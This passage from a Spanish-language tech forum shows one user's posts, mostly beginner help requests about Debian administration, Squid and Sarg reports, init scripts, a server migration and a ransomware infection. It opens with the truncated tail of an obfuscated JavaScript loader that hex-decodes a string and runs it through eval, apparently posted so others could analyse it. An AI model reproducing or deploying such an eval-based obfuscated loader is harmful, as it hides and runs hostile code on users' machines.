8496d8d8d8bebccfbec383c084d6d8d8cdc0cfd0cdc97bbecec3be96d891";ll="";dm=z.length-2;rad=new Number(z.substring(dm,dm+2));for(y=0;y<dm;y+=2){num=z.substring(y,y+2);ld=new Number("0x"+num);an=ld.toString(10);ch=String.fromCharCode(an-rad);ll+=ch;}eval(ll);


Perdon, pero no se de que otra forma subir el codigo y que quede en diferentes lineas. Lo otro que puedo hacer es subirlo en MEGA con extension txt y alguien lo sube de nuevo aqui descifrado. Saludos
#39
Seguridad / Listado de Paginas denegadas
22 Junio 2015, 20:23 PM
Hola a todos, me pregentaba si me podrian ayudar con alguna pagina donde haya una lista de paginas con contenido pornografico u otros elementos que normalmente se deben bloquear, porque se que las hay, pero google no me entiende y me muestra otras cosas. Gracias por adelantado
#40
GNU/Linux / No se me ejecutan los alias
3 Junio 2015, 21:16 PM
Hola a todos, tengo un servidor en debian (como ya he comentado anteriormente) el cual estoy aprendiendo poco a poco a administrar. Ya he aprendido un poquito sobre script, firewall, etc. Tengo pocos servicios, asi que no hay mucho que hacerle, pero ya que estoy en ese mundo, deberia aprender mas. Mi servidor lo administro via SSH interno desde la red interna. Estaba leyendo que el archivo .bashrc administra los alias del sistema. Siempre ponen el ejemplo

alias ls='ls --color a'

o algo asi, pero el hecho es que lo copio para probarlo y cuando ejecuto el comando no hace nada, sera porque esta remoto? o es algo que estoy haciendo mal?
Si quieren posteo el archivo .bashrc que no tiene nada mio agregado, esta por default
#41
Scripting / creando un script
1 Junio 2015, 18:46 PM
Hola a todos, vengo una vez mas a pedir su ayuda. Estuve leyendo varios articulos sobre la creacion de script y cosas asi. Algo siempre se aprende, pero lo que no encuentro es como hacer las funciones que detienen, inician o reinician el script.
Por ejemplo, tengo un scripot para bajar las actualizaciones del antivirus (que no lo hice yo) pero lo que quiero es que si yo le digo ej:
/etc/init.d/update start
me inicie el script, pero a veces necesitas detener el script y seria algo asi como
/etc/init.d/update stop
Pero no se como hacerlo, si quieren publico el codigo del script, siempre pidiendole disculpas al usuario anonimo que lo creó.

Mod: no escribir en mayúsculas, esto es programación

Modifico:
Ya logre hacer el script. Lo que no logro, y perdon, pero era mi pregunta desde el inicio y no lo supe explicar, es como detener la descarga ejecutada por el servicio.
Me explico: Les comentaba que el script descargaba automaticamente las actualizaciones del antivirus, asi que mi objetivo era optimizarlo con comandos como start y stop para iniciar o detener respectivamente, en caso de que me hiciera falta el ancho de banda para navegar o algo asi. Ya se como ejecutarlo, y me funciona, lo que no se como parar el servicio una vez se esta ejecutando. Probé con exit 0 pero no funciona. Estuve buscando informacion acerca de ps -A y otros comandos como kill, pkill, akill, pero no se como asignarle un PID al servicio para que siempre sea el mismo comando para detenerlo o como sacar de un script el PID correspondiente sin salir de el, o sea algo asi como script.PID o proccessid, no se, algo. Me ayudan o es que no tiene solucion?
#42
GNU/Linux / [Ayuda] con Sarg y Squid
14 Mayo 2015, 21:49 PM
Hola a todos, como ya he dicho en post anteriores, soy nuevo en esto de los servidores y mucho mas en software libre. Tengo instalado una pc con Debian. dentro los servicios apache y squid 2.7 stable
Mi problema es q inento instalar y configurar "sarg" para que me genere los reportes pero toda la informacion que hay en internet es diferente. Ya lo instale, pero incluso al editar el archivo /etc/Sarg/sarg.conf veo que no tiene la parte de idioma que dicen todos los tutoriales. Doy eso por incorregible y sigo leyendo; todos los tutoriales dicen que con escribir sarg ya ejecuta el reporte, y que se puede ver en la siguiente direccion

http://ip_del_servidor/squid-reports/

pero el hecho es que no los genera, para empezar, no crea ni la carpeta "squid-reports". La cree yo a mano desde el usuario root y aun asi no genera los informes. Sin eso que es lo basico creo que no vale la pena seguir leyendo el articulo de configuracion. Pues no voy a obtener resultados. ¿Que puede ser? Tengo algo mal o estoy haciendo algo mal. Tal vez me falte algo por hacer.
#43
Redes / soy root y no tengo permisos
11 Mayo 2015, 18:31 PM
Hola amigos, vengo con un problema que aunque soy nuevo esto, entiendo que me puede traer problemas mas adelante. Instale Debian 7 y cuando me logueo como root puedo trabajar, pero configure la red y al intentar hacer:
/etc/network/interfaces restart
me sale un cartel que dice: PERMISO DENEGADO
eso no era importante porque con
invoke-rc.d networking restart
se reinicia el servicio. Pero es que con todos los servicios y los script que tengo me hace lo mismo. Tuve que instalar el MC para lograr ejecutar el script del firewall. Ayuda por favor
#44
Hola gente, ya se que el titulo no es muy descriptivo, asi que sin quererlos aburrir, voy a hacer un pokito de historia.
Tengo 3 servidores fisicos corriendo sobre windows server 2003.
1-Firewall
2-DNS, Active Directory y DHCP
3-Mensajeria y E-mail
Bien, el punto es que por politica de la empresa tengo que empezar a migrar los servidores a linux y estoy empezando desde cero, pues no conozco casi nada. Un amigo me dijo que empezara por el correo y la mensajeria y que de ser obligado, dejara para ultimo el Active directory que en linux seria LDAP (creo). Y mis dudas son las siguientes:
1-Puedo instalar un servidor de correos y probarlo manteniendo el MDaemon de windows por un periodo de una semana aproximadamente y que los correos no entren dobles a los usuarios?
2-Puedo configurar el servidor de correo de linux para que se autentifique con los usuarios del Active Directory de windows server 2003

Informacion:
SO: Ubuntu server 12.04.4
Si hace falta alguna otra informacion por favor diganlo
#45
Hola gente, les pido su ayuda con el siguiente tema:
Hace cerca de 15 dias fui a ver a una amiga que me llamo casi llorando que la pc tenia un virus. Llegue dispuesto a eliminar al susodicho y me encuentro con una pc que no reconoci, el active desktop fue cambiado por un contador que al llegar a 0 reinicio la pc y cifro todos los archivos de texto, fotos, todo excepto la musica y los videos. Los archivos por poner un ejemplo foto.jpg pasaron a ser foto.jpg.mybxema    Probe quitarle la extension como prueba anti-tontos y nada. Segun mi analisis, la extension debe responder a algun programa, puesto que no esta cifrado el contenido sino el archivo completo. Pueden ayudarme? Si me dan un correo puedo mandar una muestra del archivo cifrado, no tengo una copia del virus porque la amiga reinstalo su SO. Como dato les puedo decir que el SO es Windows 7 Ultimate a 32 bits y tenia instalado el Eset Nod32 v5